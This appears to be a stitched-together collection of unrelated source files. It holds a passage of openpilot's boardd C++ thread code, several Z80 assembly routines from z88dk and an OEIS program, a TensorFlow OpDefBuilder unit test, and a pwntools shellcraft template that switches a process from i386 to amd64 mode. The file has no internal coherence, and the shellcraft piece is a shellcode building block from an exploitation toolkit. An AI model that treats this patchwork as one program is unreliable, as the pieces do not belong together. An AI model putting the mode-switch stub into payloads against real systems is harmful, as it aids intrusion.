ps.setUsbPowerMode(cereal::PeripheralState::UsbPowerMode(pandaState.usb_power_mode_pkt)); ps.setFanSpeedRpm(fan_speed_rpm); pm->send("peripheralState", msg); } void panda_state_thread(PubMaster *pm, std::vector<Panda *> pandas, bool spoofing_started) { util::set_thread_name("boardd_panda_state"); Params params; SubMaster sm({"controlsState"}); Panda *peripheral_panda = pandas[0]; bool ignition_last = false; std::future<bool> safety_future; LOGD("start panda state thread"); // run at 2hz while (!do_exit && check_all_connected(pandas)) { uint64_t start_time = nanos_since_boot(); // send out peripheralState send_peripheral_state(pm, peripheral_panda); auto ignition_opt = send_panda_states(pm, pandas, spoofing_started); if (!ignition_opt) { continue; } ignition = *ignition_opt; // TODO: make this check fast, currently takes 16ms // check if we have new pandas and are offroad if (!ignition && (pandas.size() != Panda::list().size())) { LOGW("Reconnecting to changed amount of pandas!"); do_exit = true; break; } // clear ignition-based params and set new safety on car start if (ignition && !ignition_last) { params.clearAll(CLEAR_ON_IGNITION_ON); if (!safety_future.valid() || safety_future.wait_for(0ms) == std::future_status::ready) { safety_future = std::async(std::launch::async, safety_setter_thread, pandas); } else { LOGW("Safety setter thread already running"); } } else if (!ignition && ignition_last) { params.clearAll(CLEAR_ON_IGNITION_OFF); } ignition_last = ignition; sm.update(0); const bool engaged = sm.allAliveAndValid({"controlsState"}) && sm["controlsState"].getControlsState().getEnabled(); for (const auto &panda : pandas) { panda->send_heartbeat(engaged); } uint64_t dt = nanos_since_boot() - start_time; util::sleep_for(500 - dt / 1000000ULL); } } void peripheral_control_thread(Panda *panda) { util::set_thread_name("boardd_peripheral_control"); SubMaster sm({"deviceState", "driverCameraState"}); uint64_t last_front_frame_t = 0; uint16_t prev_fan_speed = 999; uint16_t ir_pwr = 0; uint16_t prev_ir_pwr = 999; bool prev_charging_disabled = false; unsigned int cnt = 0; FirstOrderFilter integ_lines_filter(0, 30.0, 0.05); while (!do_exit && panda->connected) { cnt++; sm.update(1000); // TODO: what happens if EINTR is sent while in sm.update? if (!Hardware::PC() && sm.updated("deviceState")) { // Charging mode bool charging_disabled = sm["deviceState"].getDeviceState().getChargingDisabled(); if (charging_disabled != prev_charging_disabled) { if (charging_disabled) { panda->set_usb_power_mode(cereal::PeripheralState::UsbPowerMode::CLIENT); LOGW("TURN OFF CHARGING!\n"); } else { panda->set_usb_power_mode(cereal::PeripheralState::UsbPowerMode::CDP); LOGW("TURN ON CHARGING!\n"); } prev_charging_disabled = charging_disabled; } } // Other pandas don't have fan/IR to control if (panda->hw_type != cereal::PandaState::PandaType::UNO && panda->hw_type != cereal::PandaState::PandaType::DOS) continue; if (sm.updated("deviceState")) { // Fan speed uint16_t fan_speed = sm["deviceState"].getDeviceState().getFanSpeedPercentDesired(); if (fan_speed != prev_fan_speed || cnt % 100 == 0) { panda->set_fan_speed(fan_speed); prev_fan_speed = fan_speed; } } if (sm.updated("driverCameraState")) { auto event = sm["driverCameraState"]; int cur_integ_lines = event.getDriverCameraState().getIntegLines(); float cur_gain = event.getDriverCameraState().getGain(); if (Hardware::TICI()) { cur_integ_lines = integ_lines_filter.update(cur_integ_lines * cur_gain); } last_front_frame_t = event.getLogMonoTime(); if (cur_integ_lines <= CUTOFF_IL) { ir_pwr = 100.0 * MIN_IR_POWER; } else if (cur_integ_lines > SATURATE_IL) { ir_pwr = 100.0 * MAX_IR_POWER; } else { ir_pwr = 100.0 * (MIN_IR_POWER + ((cur_integ_lines - CUTOFF_IL) * (MAX_IR_POWER - MIN_IR_POWER) / (SATURATE_IL - CUTOFF_IL))); } } // Disable ir_pwr on front frame timeout uint64_t cur_t = nanos_since_boot(); if (cur_t - last_front_frame_t > 1e9) { ir_pwr = 0; } if (ir_pwr != prev_ir_pwr || cnt % 100 == 0 || ir_pwr >= 50.0) { panda->set_ir_pwr(ir_pwr); prev_ir_pwr = ir_pwr; } // Write to rtc once per minute when no ignition present if (!ignition && (cnt % 120 == 1)) { sync_time(panda, SyncTimeDir::TO_PANDA); } } } static void pigeon_publish_raw(PubMaster &pm, const std::string &dat) { // create message MessageBuilder msg; msg.initEvent().setUbloxRaw(capnp::Data::Reader((uint8_t*)dat.data(), dat.length())); pm.send("ubloxRaw", msg); } void pigeon_thread(Panda *panda) { util::set_thread_name("boardd_pigeon"); PubMaster pm({"ubloxRaw"}); bool ignition_last = false; std::unique_ptr<Pigeon> pigeon(Hardware::TICI() ? Pigeon::connect("/dev/ttyHS0") : Pigeon::connect(panda)); while (!do_exit && panda->connected) { bool need_reset = false; bool ignition_local = ignition; std::string recv = pigeon->receive(); // Check based on null bytes if (ignition_local && recv.length() > 0 && recv[0] == (char)0x00) { need_reset = true; LOGW("received invalid ublox message while onroad, resetting panda GPS"); } if (recv.length() > 0) { pigeon_publish_raw(pm, recv); } // init pigeon on rising ignition edge // since it was turned off in low power mode if((ignition_local && !ignition_last) || need_reset) { pigeon_active = true; pigeon->init(); } else if (!ignition_local && ignition_last) { // power off on falling edge of ignition LOGD("powering off pigeon\n"); pigeon->stop(); pigeon->set_power(false); pigeon_active = false; } ignition_last = ignition_local; // 10ms - 100 Hz util::sleep_for(10); } } void boardd_main_thread(std::vector<std::string> serials) { PubMaster pm({"pandaStates", "peripheralState"}); LOGW("attempting to connect"); if (serials.size() == 0) { // connect to all serials = Panda::list(); // exit if no pandas are connected if (serials.size() == 0) { LOGW("no pandas found, exiting"); return; } } // connect to all provided serials std::vector<Panda *> pandas; for (int i = 0; i < serials.size() && !do_exit; /**/) { Panda *p = usb_connect(serials[i], i); if (!p) { // send empty pandaState & peripheralState and try again send_empty_panda_state(&pm); send_empty_peripheral_state(&pm); util::sleep_for(500); continue; } pandas.push_back(p); ++i; } if (!do_exit) { LOGW("connected to board"); Panda *peripheral_panda = pandas[0]; std::vector<std::thread> threads; Params().put("LastPeripheralPandaType", std::to_string((int) peripheral_panda->get_hw_type())); threads.emplace_back(panda_state_thread, &pm, pandas, getenv("STARTED") != nullptr); threads.emplace_back(peripheral_control_thread, peripheral_panda); threads.emplace_back(pigeon_thread, peripheral_panda); threads.emplace_back(can_send_thread, pandas, getenv("FAKESEND") != nullptr); threads.emplace_back(can_recv_thread, pandas); for (auto &t : threads) t.join(); } // we have exited, clean up pandas for (Panda *panda : pandas) { delete panda; } }
SECTION code_clib PUBLIC psg_envelope PUBLIC _psg_envelope ; ; $Id: psg_envelope.asm $ ;======================================================================================== ; void psg_envelope(unsigned int waveform, int period, unsigned int channel) __smallc; ;======================================================================================== ; foo entry, envelope is not avaliable on SN76489 ;============================================================== INCLUDE "psg/sn76489.inc" .psg_envelope ._psg_envelope ld hl, 2 add hl, sp ld c, (hl) ; C = Channel ld a, $0F ; max attenuation, ld b, a ; ..only the 4 lower bits are significant ld a, c rrc a rrc a rrc a and a, $60 ; Puts the channel number in bits 5 and 6 or a, $90 or a, b ; Prepares the first byte of the command IF HAVE16bitbus ld bc,psgport out (c),a ELSE out (psgport), a ; Sends it ENDIF ret
; A127739: Triangle read by rows, in which row n contains the triangular number T(n) = A000217(n) repeated n times; smallest triangular number greater than or equal to n. ; 1,3,3,6,6,6,10,10,10,10,15,15,15,15,15,21,21,21,21,21,21,28,28,28,28,28,28,28,36,36,36,36,36,36,36,36,45,45,45,45,45,45,45,45,45,55,55,55,55,55,55,55,55,55,55,66,66,66,66,66,66,66,66,66,66,66,78,78,78,78,78,78,78,78,78,78,78,78,91,91,91,91,91,91,91,91,91,91,91,91,91,105,105,105,105,105,105,105,105,105,105,105,105,105,105,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,136,136,136,136,136,136,136,136,136,136,136,136,136,136,136,136,153,153,153,153,153,153,153,153,153,153,153,153,153,153,153,153,153,171,171,171,171,171,171,171,171,171,171,171,171,171,171,171,171,171,171,190,190,190,190,190,190,190,190,190,190,190,190,190,190,190,190,190,190,190,210,210,210,210,210,210,210,210,210,210,210,210,210,210,210,210,210,210,210,210,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253 add $0,1 lpb $0,1 add $2,1 trn $0,$2 add $1,$2 lpe
; void sp1_MoveSprAbs(struct sp1_ss *s, struct sp1_Rect *clip, uchar *frame, uchar row, uchar col, uchar vrot, uchar hrot) ; CALLER linkage for function pointers XLIB sp1_MoveSprAbs LIB sp1_MoveSprAbs_callee XREF ASMDISP_SP1_MOVESPRABS_CALLEE .sp1_MoveSprAbs pop af pop de pop bc ld b,e pop de pop hl ld d,l pop hl pop iy pop ix push hl push hl push hl push hl push de push bc push de push af jp sp1_MoveSprAbs_callee + ASMDISP_SP1_MOVESPRABS_CALLEE
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/core/framework/op_def_builder.h" #include "tensorflow/core/framework/op_def.pb.h" #include "tensorflow/core/lib/core/status_test_util.h" #include "tensorflow/core/lib/core/stringpiece.h" #include "tensorflow/core/lib/strings/str_util.h" #include "tensorflow/core/lib/strings/strcat.h" #include "tensorflow/core/platform/protobuf.h" #include "tensorflow/core/platform/test.h" namespace tensorflow { namespace { static void CanonicalizeAttrTypeListOrder(OpDef* def) { for (int i = 0; i < def->attr_size(); i++) { AttrValue* a = def->mutable_attr(i)->mutable_allowed_values(); std::sort(a->mutable_list()->mutable_type()->begin(), a->mutable_list()->mutable_type()->end()); } } class OpDefBuilderTest : public ::testing::Test { protected: OpDefBuilder b() { return OpDefBuilder("Test"); } void ExpectSuccess(const OpDefBuilder& builder, StringPiece proto) { OpDef op_def; Status status = builder.Finalize(&op_def); TF_EXPECT_OK(status); if (status.ok()) { OpDef expected; protobuf::TextFormat::ParseFromString( strings::StrCat("name: 'Test' ", proto), &expected); // Allow different orderings CanonicalizeAttrTypeListOrder(&op_def); CanonicalizeAttrTypeListOrder(&expected); EXPECT_EQ(op_def.ShortDebugString(), expected.ShortDebugString()); } } void ExpectOrdered(const OpDefBuilder& builder, StringPiece proto) { OpDef op_def; Status status = builder.Finalize(&op_def); TF_EXPECT_OK(status); if (status.ok()) { OpDef expected; protobuf::TextFormat::ParseFromString( strings::StrCat("name: 'Test' ", proto), &expected); EXPECT_EQ(op_def.ShortDebugString(), expected.ShortDebugString()); } } void ExpectFailure(const OpDefBuilder& builder, string error) { OpDef op_def; Status status = builder.Finalize(&op_def); EXPECT_FALSE(status.ok()); if (!status.ok()) { EXPECT_EQ(status.error_message(), error); } } }; TEST_F(OpDefBuilderTest, Attr) { ExpectSuccess(b().Attr("a:string"), "attr: { name: 'a' type: 'string' }"); ExpectSuccess(b().Attr("A: int"), "attr: { name: 'A' type: 'int' }"); ExpectSuccess(b().Attr("a1 :float"), "attr: { name: 'a1' type: 'float' }"); ExpectSuccess(b().Attr("a_a : bool"), "attr: { name: 'a_a' type: 'bool' }"); ExpectSuccess(b().Attr("aB : type"), "attr: { name: 'aB' type: 'type' }"); ExpectSuccess(b().Attr("aB_3\t: shape"), "attr: { name: 'aB_3' type: 'shape' }"); ExpectSuccess(b().Attr("t: tensor"), "attr: { name: 't' type: 'tensor' }"); ExpectSuccess(b().Attr("XYZ\t:\tlist(type)"), "attr: { name: 'XYZ' type: 'list(type)' }"); ExpectSuccess(b().Attr("f: func"), "attr { name: 'f' type: 'func'}"); } TEST_F(OpDefBuilderTest, AttrFailure) { ExpectFailure( b().Attr("_:string"), "Trouble parsing '<name>:' from Attr(\"_:string\") for Op Test"); ExpectFailure( b().Attr("9:string"), "Trouble parsing '<name>:' from Attr(\"9:string\") for Op Test"); ExpectFailure(b().Attr(":string"), "Trouble parsing '<name>:' from Attr(\":string\") for Op Test"); ExpectFailure(b().Attr("string"), "Trouble parsing '<name>:' from Attr(\"string\") for Op Test"); ExpectFailure(b().Attr("a:invalid"), "Trouble parsing type string at 'invalid' from " "Attr(\"a:invalid\") for Op Test"); ExpectFailure( b().Attr("b:"), "Trouble parsing type string at '' from Attr(\"b:\") for Op Test"); } TEST_F(OpDefBuilderTest, AttrWithRestrictions) { // Types with restrictions. ExpectSuccess( b().Attr("a:numbertype"), "attr: { name: 'a' type: 'type' allowed_values { list { type: " "[DT_HALF, DT_FLOAT, DT_DOUBLE, DT_INT64, DT_INT32, DT_UINT8, DT_INT16, " "DT_UINT16, DT_INT8, DT_COMPLEX64, DT_COMPLEX128, DT_QINT8, DT_QUINT8, " "DT_QINT32] } } }"); ExpectSuccess(b().Attr("a:realnumbertype"), "attr: { name: 'a' type: 'type' allowed_values { list { type: " "[DT_HALF, DT_FLOAT, DT_DOUBLE, DT_INT64, DT_INT32, DT_UINT8, " "DT_INT16, DT_UINT16, DT_INT8] } } }"); ExpectSuccess(b().Attr("a:quantizedtype"), "attr: { name: 'a' type: 'type' allowed_values { list { type: " "[DT_QINT8, DT_QUINT8, DT_QINT32, DT_QINT16, DT_QUINT16]} } }"); ExpectSuccess(b().Attr("a:{string,int32}"), "attr: { name: 'a' type: 'type' allowed_values { list { type: " "[DT_STRING, DT_INT32] } } }"); ExpectSuccess(b().Attr("a: { float , complex64 } "), "attr: { name: 'a' type: 'type' allowed_values { list { type: " "[DT_FLOAT, DT_COMPLEX64] } } }"); ExpectSuccess(b().Attr("a: {float, complex64,} "), "attr: { name: 'a' type: 'type' allowed_values { list { type: " "[DT_FLOAT, DT_COMPLEX64] } }"); ExpectSuccess(b().Attr(R"(a: { "X", "yz" })"), "attr: { name: 'a' type: 'string' allowed_values { list { s: " "['X', 'yz'] } } }"); ExpectSuccess(b().Attr(R"(a: { "X", "yz", })"), "attr: { name: 'a' type: 'string' allowed_values { list { s: " "['X', 'yz'] } } }"); ExpectSuccess( b().Attr("i: int >= -5"), "attr: { name: 'i' type: 'int' has_minimum: true minimum: -5 }"); ExpectSuccess(b().Attr("i: int >= 9223372036854775807"), ("attr: { name: 'i' type: 'int' has_minimum: true " "minimum: 9223372036854775807 }")); ExpectSuccess(b().Attr("i: int >= -9223372036854775808"), ("attr: { name: 'i' type: 'int' has_minimum: true " "minimum: -9223372036854775808 }")); } TEST_F(OpDefBuilderTest, AttrRestrictionFailure) { ExpectFailure( b().Attr("a:{}"), "Trouble parsing type string at '}' from Attr(\"a:{}\") for Op Test"); ExpectFailure( b().Attr("a:{,}"), "Trouble parsing type string at ',}' from Attr(\"a:{,}\") for Op Test"); ExpectFailure(b().Attr("a:{invalid}"), "Unrecognized type string 'invalid' from Attr(\"a:{invalid}\") " "for Op Test"); ExpectFailure(b().Attr("a:{\"str\", float}"), "Trouble parsing allowed string at 'float}' from " "Attr(\"a:{\"str\", float}\") for Op Test"); ExpectFailure(b().Attr("a:{ float, \"str\" }"), "Trouble parsing type string at '\"str\" }' from Attr(\"a:{ " "float, \"str\" }\") for Op Test"); ExpectFailure(b().Attr("a:{float,,string}"), "Trouble parsing type string at ',string}' from " "Attr(\"a:{float,,string}\") for Op Test"); ExpectFailure(b().Attr("a:{float,,}"), "Trouble parsing type string at ',}' from " "Attr(\"a:{float,,}\") for Op Test"); ExpectFailure(b().Attr("i: int >= a"), "Could not parse integer lower limit after '>=', " "found ' a' instead from Attr(\"i: int >= a\") for Op Test"); ExpectFailure(b().Attr("i: int >= -a"), "Could not parse integer lower limit after '>=', found ' -a' " "instead from Attr(\"i: int >= -a\") for Op Test"); ExpectFailure(b().Attr("i: int >= 9223372036854775808"), "Could not parse integer lower limit after '>=', found " "' 9223372036854775808' instead from " "Attr(\"i: int >= 9223372036854775808\") for Op Test"); ExpectFailure(b().Attr("i: int >= -9223372036854775809"), "Could not parse integer lower limit after '>=', found " "' -9223372036854775809' instead from " "Attr(\"i: int >= -9223372036854775809\") for Op Test"); } TEST_F(OpDefBuilderTest, AttrListOfRestricted) { ExpectSuccess( b().Attr("a:list(realnumbertype)"), "attr: { name: 'a' type: 'list(type)' allowed_values { list { type: " "[DT_FLOAT, DT_DOUBLE, DT_INT64, DT_INT32, DT_UINT8, DT_INT16, " "DT_UINT16, DT_INT8, DT_HALF] } } }"); ExpectSuccess( b().Attr("a:list(quantizedtype)"), "attr: { name: 'a' type: 'list(type)' allowed_values { list { type: " "[DT_QINT8, DT_QUINT8, DT_QINT32, DT_QINT16, DT_QUINT16] } } }"); ExpectSuccess( b().Attr("a: list({float, string, bool})"), "attr: { name: 'a' type: 'list(type)' allowed_values { list { type: " "[DT_FLOAT, DT_STRING, DT_BOOL] } } }"); ExpectSuccess( b().Attr(R"(a: list({ "one fish", "two fish" }))"), "attr: { name: 'a' type: 'list(string)' allowed_values { list { s: " "['one fish', 'two fish'] } } }"); ExpectSuccess( b().Attr(R"(a: list({ 'red fish', 'blue fish' }))"), "attr: { name: 'a' type: 'list(string)' allowed_values { list { s: " "['red fish', 'blue fish'] } } }"); ExpectSuccess( b().Attr(R"(a: list({ "single' ", 'double"' }))"), "attr: { name: 'a' type: 'list(string)' allowed_values { list { s: " "[\"single' \", 'double\"'] } } }"); ExpectSuccess( b().Attr(R"(a: list({ 'escape\'\n', "from\\\"NY" }))"), "attr: { name: 'a' type: 'list(string)' allowed_values { list { s: " "[\"escape'\\n\", 'from\\\\\"NY'] } } }"); } TEST_F(OpDefBuilderTest, AttrListWithMinLength) { ExpectSuccess( b().Attr("i: list(bool) >= 4"), "attr: { name: 'i' type: 'list(bool)' has_minimum: true minimum: 4 }"); } TEST_F(OpDefBuilderTest, AttrWithDefaults) { ExpectSuccess(b().Attr(R"(a:string="foo")"), "attr: { name: 'a' type: 'string' default_value { s:'foo' } }"); ExpectSuccess(b().Attr(R"(a:string='foo')"), "attr: { name: 'a' type: 'string' default_value { s:'foo' } }"); ExpectSuccess(b().Attr("a:float = 1.25"), "attr: { name: 'a' type: 'float' default_value { f: 1.25 } }"); ExpectSuccess(b().Attr("a:tensor = { dtype: DT_INT32 int_val: 5 }"), "attr: { name: 'a' type: 'tensor' default_value { tensor {" " dtype: DT_INT32 int_val: 5 } } }"); ExpectSuccess(b().Attr("a:shape = { dim { size: 3 } dim { size: 4 } }"), "attr: { name: 'a' type: 'shape' default_value { shape {" " dim { size: 3 } dim { size: 4 } } } }"); ExpectSuccess(b().Attr("a:shape = { dim { size: -1 } dim { size: 4 } }"), "attr: { name: 'a' type: 'shape' default_value { shape {" " dim { size: -1 } dim { size: 4 } } } }"); } TEST_F(OpDefBuilderTest, AttrFailedDefaults) { ExpectFailure(b().Attr(R"(a:int="foo")"), "Could not parse default value '\"foo\"' from " "Attr(\"a:int=\"foo\"\") for Op Test"); ExpectFailure(b().Attr("a:float = [1.25]"), "Could not parse default value '[1.25]' from Attr(\"a:float = " "[1.25]\") for Op Test"); } TEST_F(OpDefBuilderTest, AttrListWithDefaults) { ExpectSuccess(b().Attr(R"(a:list(string)=["foo", "bar"])"), "attr: { name: 'a' type: 'list(string)' " "default_value { list { s: ['foo', 'bar'] } } }"); ExpectSuccess(b().Attr("a:list(bool)=[true, false, true]"), "attr: { name: 'a' type: 'list(bool)' " "default_value { list { b: [true, false, true] } } }"); ExpectSuccess(b().Attr(R"(a:list(int)=[0, -1, 2, -4, 8])"), "attr: { name: 'a' type: 'list(int)' " "default_value { list { i: [0, -1, 2, -4, 8] } } }"); ExpectSuccess(b().Attr(R"(a:list(int)=[ ])"), "attr: { name: 'a' type: 'list(int)' " "default_value { list { i: [] } } }"); } TEST_F(OpDefBuilderTest, AttrFailedListDefaults) { ExpectFailure(b().Attr(R"(a:list(int)=["foo"])"), "Could not parse default value '[\"foo\"]' from " "Attr(\"a:list(int)=[\"foo\"]\") for Op Test"); ExpectFailure(b().Attr(R"(a:list(int)=[7, "foo"])"), "Could not parse default value '[7, \"foo\"]' from " "Attr(\"a:list(int)=[7, \"foo\"]\") for Op Test"); ExpectFailure(b().Attr("a:list(float) = [[1.25]]"), "Could not parse default value '[[1.25]]' from " "Attr(\"a:list(float) = [[1.25]]\") for Op Test"); ExpectFailure(b().Attr("a:list(float) = 1.25"), "Could not parse default value '1.25' from " "Attr(\"a:list(float) = 1.25\") for Op Test"); ExpectFailure(b().Attr(R"(a:list(string)='foo')"), "Could not parse default value ''foo'' from " "Attr(\"a:list(string)='foo'\") for Op Test"); ExpectFailure(b().Attr("a:list(float) = ["), "Could not parse default value '[' from " "Attr(\"a:list(float) = [\") for Op Test"); ExpectFailure(b().Attr("a:list(float) = "), "Could not parse default value '' from " "Attr(\"a:list(float) = \") for Op Test"); } TEST_F(OpDefBuilderTest, InputOutput) { ExpectSuccess(b().Input("a: int32"), "input_arg: { name: 'a' type: DT_INT32 }"); ExpectSuccess(b().Output("b: string"), "output_arg: { name: 'b' type: DT_STRING }"); ExpectSuccess(b().Input("c: float "), "input_arg: { name: 'c' type: DT_FLOAT }"); ExpectSuccess(b().Output("d: Ref ( bool ) "), "output_arg: { name: 'd' type: DT_BOOL is_ref: true }"); ExpectOrdered(b().Input("a: bool") .Output("c: complex64") .Input("b: int64") .Output("d: string"), "input_arg: { name: 'a' type: DT_BOOL } " "input_arg: { name: 'b' type: DT_INT64 } " "output_arg: { name: 'c' type: DT_COMPLEX64 } " "output_arg: { name: 'd' type: DT_STRING }"); } TEST_F(OpDefBuilderTest, PolymorphicInputOutput) { ExpectSuccess(b().Input("a: foo").Attr("foo: type"), "input_arg: { name: 'a' type_attr: 'foo' } " "attr: { name: 'foo' type: 'type' }"); ExpectSuccess(b().Output("a: foo").Attr("foo: { bool, int32 }"), "output_arg: { name: 'a' type_attr: 'foo' } " "attr: { name: 'foo' type: 'type' " "allowed_values: { list { type: [DT_BOOL, DT_INT32] } } }"); } TEST_F(OpDefBuilderTest, InputOutputListSameType) { ExpectSuccess(b().Input("a: n * int32").Attr("n: int"), "input_arg: { name: 'a' number_attr: 'n' type: DT_INT32 } " "attr: { name: 'n' type: 'int' has_minimum: true minimum: 1 }"); // Polymorphic case: ExpectSuccess(b().Output("b: n * foo").Attr("n: int").Attr("foo: type"), "output_arg: { name: 'b' number_attr: 'n' type_attr: 'foo' } " "attr: { name: 'n' type: 'int' has_minimum: true minimum: 1 } " "attr: { name: 'foo' type: 'type' }"); } TEST_F(OpDefBuilderTest, InputOutputListAnyType) { ExpectSuccess( b().Input("c: foo").Attr("foo: list(type)"), "input_arg: { name: 'c' type_list_attr: 'foo' } " "attr: { name: 'foo' type: 'list(type)' has_minimum: true minimum: 1 }"); ExpectSuccess( b().Output("c: foo").Attr("foo: list({string, float})"), "output_arg: { name: 'c' type_list_attr: 'foo' } " "attr: { name: 'foo' type: 'list(type)' has_minimum: true minimum: 1 " "allowed_values: { list { type: [DT_STRING, DT_FLOAT] } } }"); } TEST_F(OpDefBuilderTest, InputOutputFailure) { ExpectFailure(b().Input("9: int32"), "Trouble parsing 'name:' from Input(\"9: int32\") for Op Test"); ExpectFailure( b().Output("_: int32"), "Trouble parsing 'name:' from Output(\"_: int32\") for Op Test"); ExpectFailure(b().Input(": int32"), "Trouble parsing 'name:' from Input(\": int32\") for Op Test"); ExpectFailure(b().Output("int32"), "Trouble parsing 'name:' from Output(\"int32\") for Op Test"); ExpectFailure( b().Input("CAPS: int32"), "Trouble parsing 'name:' from Input(\"CAPS: int32\") for Op Test"); ExpectFailure( b().Input("_underscore: int32"), "Trouble parsing 'name:' from Input(\"_underscore: int32\") for Op Test"); ExpectFailure( b().Input("0digit: int32"), "Trouble parsing 'name:' from Input(\"0digit: int32\") for Op Test"); ExpectFailure(b().Input("a: _"), "Trouble parsing either a type or an attr name at '_' from " "Input(\"a: _\") for Op Test"); ExpectFailure(b().Input("a: 9"), "Trouble parsing either a type or an attr name at '9' from " "Input(\"a: 9\") for Op Test"); ExpectFailure(b().Input("a: 9 * int32"), "Trouble parsing either a type or an attr name at '9 * int32' " "from Input(\"a: 9 * int32\") for Op Test"); ExpectFailure( b().Input("a: x * _").Attr("x: type"), "Extra '* _' unparsed at the end from Input(\"a: x * _\") for Op Test"); ExpectFailure(b().Input("a: x * y extra").Attr("x: int").Attr("y: type"), "Extra 'extra' unparsed at the end from Input(\"a: x * y " "extra\") for Op Test"); ExpectFailure(b().Input("a: Ref(int32"), "Did not find closing ')' for 'Ref(', instead found: '' from " "Input(\"a: Ref(int32\") for Op Test"); ExpectFailure( b().Input("a: Ref"), "Reference to unknown attr 'Ref' from Input(\"a: Ref\") for Op Test"); ExpectFailure(b().Input("a: Ref(x y").Attr("x: type"), "Did not find closing ')' for 'Ref(', instead found: 'y' from " "Input(\"a: Ref(x y\") for Op Test"); ExpectFailure( b().Input("a: x"), "Reference to unknown attr 'x' from Input(\"a: x\") for Op Test"); ExpectFailure( b().Input("a: x * y").Attr("x: int"), "Reference to unknown attr 'y' from Input(\"a: x * y\") for Op Test"); ExpectFailure(b().Input("a: x").Attr("x: int"), "Reference to attr 'x' with type int that isn't type or " "list(type) from Input(\"a: x\") for Op Test"); } TEST_F(OpDefBuilderTest, Set) { ExpectSuccess(b().SetIsStateful(), "is_stateful: true"); ExpectSuccess(b().SetIsCommutative().SetIsAggregate(), "is_commutative: true is_aggregate: true"); } TEST_F(OpDefBuilderTest, DocUnpackSparseFeatures) { ExpectOrdered(b().Input("sf: string") .Output("indices: int32") .Output("ids: int64") .Output("weights: float") .Doc(R"doc( Converts a vector of strings with dist_belief::SparseFeatures to tensors. Note that indices, ids and weights are vectors of the same size and have one-to-one correspondence between their elements. ids and weights are each obtained by sequentially concatenating sf[i].id and sf[i].weight, for i in 1...size(sf). Note that if sf[i].weight is not set, the default value for the weight is assumed to be 1.0. Also for any j, if ids[j] and weights[j] were extracted from sf[i], then index[j] is set to i. sf: vector of string, where each element is the string encoding of SparseFeatures proto. indices: vector of indices inside sf ids: vector of id extracted from the SparseFeatures proto. weights: vector of weight extracted from the SparseFeatures proto. )doc"), R"proto( input_arg { name: "sf" description: "vector of string, where each element is the string encoding of\nSparseFeatures proto." type: DT_STRING } output_arg { name: "indices" description: "vector of indices inside sf" type: DT_INT32 } output_arg { name: "ids" description: "vector of id extracted from the SparseFeatures proto." type: DT_INT64 } output_arg { name: "weights" description: "vector of weight extracted from the SparseFeatures proto." type: DT_FLOAT } summary: "Converts a vector of strings with dist_belief::SparseFeatures to tensors." description: "Note that indices, ids and weights are vectors of the same size and have\none-to-one correspondence between their elements. ids and weights are each\nobtained by sequentially concatenating sf[i].id and sf[i].weight, for i in\n1...size(sf). Note that if sf[i].weight is not set, the default value for the\nweight is assumed to be 1.0. Also for any j, if ids[j] and weights[j] were\nextracted from sf[i], then index[j] is set to i." )proto"); } TEST_F(OpDefBuilderTest, DocConcat) { ExpectOrdered(b().Input("concat_dim: int32") .Input("values: num_values * dtype") .Output("output: dtype") .Attr("dtype: type") .Attr("num_values: int >= 2") .Doc(R"doc( Concatenate N Tensors along one dimension. concat_dim: The (scalar) dimension along which to concatenate. Must be in the range [0, rank(values...)). values: The N Tensors to concatenate. Their ranks and types must match, and their sizes must match in all dimensions except concat_dim. output: A Tensor with the concatenation of values stacked along the concat_dim dimension. This Tensor's shape matches the Tensors in values, except in concat_dim where it has the sum of the sizes. )doc"), R"proto( input_arg { name: "concat_dim" description: "The (scalar) dimension along which to concatenate. Must be\nin the range [0, rank(values...))." type: DT_INT32 } input_arg { name: "values" description: "The N Tensors to concatenate. Their ranks and types must match,\nand their sizes must match in all dimensions except concat_dim." type_attr: "dtype" number_attr: "num_values" } output_arg { name: "output" description: "A Tensor with the concatenation of values stacked along the\nconcat_dim dimension. This Tensor\'s shape matches the Tensors in\nvalues, except in concat_dim where it has the sum of the sizes." type_attr: "dtype" } summary: "Concatenate N Tensors along one dimension." attr { name: "dtype" type: "type" } attr { name: "num_values" type: "int" has_minimum: true minimum: 2 } )proto"); } TEST_F(OpDefBuilderTest, DocAttr) { ExpectOrdered(b().Attr("i: int").Doc(R"doc( Summary i: How much to operate. )doc"), R"proto( summary: "Summary" attr { name: "i" type: "int" description: "How much to operate." } )proto"); } TEST_F(OpDefBuilderTest, DocCalledTwiceFailure) { ExpectFailure(b().Doc("What's").Doc("up, doc?"), "Extra call to Doc() for Op Test"); } TEST_F(OpDefBuilderTest, DocFailureMissingName) { ExpectFailure( b().Input("a: int32").Doc(R"doc( Summary a: Something for a. b: b is not defined. )doc"), "No matching input/output/attr for name 'b' from Doc() for Op Test"); ExpectFailure( b().Input("a: int32").Doc(R"doc( Summary b: b is not defined and by itself. )doc"), "No matching input/output/attr for name 'b' from Doc() for Op Test"); } TEST_F(OpDefBuilderTest, DefaultMinimum) { ExpectSuccess(b().Input("values: num_values * dtype") .Output("output: anything") .Attr("anything: list(type)") .Attr("dtype: type") .Attr("num_values: int"), R"proto( input_arg { name: "values" type_attr: "dtype" number_attr: "num_values" } output_arg { name: "output" type_list_attr: "anything" } attr { name: "anything" type: "list(type)" has_minimum: true minimum: 1 } attr { name: "dtype" type: "type" } attr { name: "num_values" type: "int" has_minimum: true minimum: 1 } )proto"); } } // namespace } // namespace tensorflow
<% from pwnlib.shellcraft import common %> <%docstring>Returns code to switch from i386 to amd64 mode.</%docstring> <% helper, end = common.label("helper"), common.label("end") %> [bits 32] push 0x33 ; This is the segment we want to go to call $+4 ${helper}: db 0xc0 add dword [esp], ${end} - ${helper} jmp far [esp] ${end}: [bits 64]
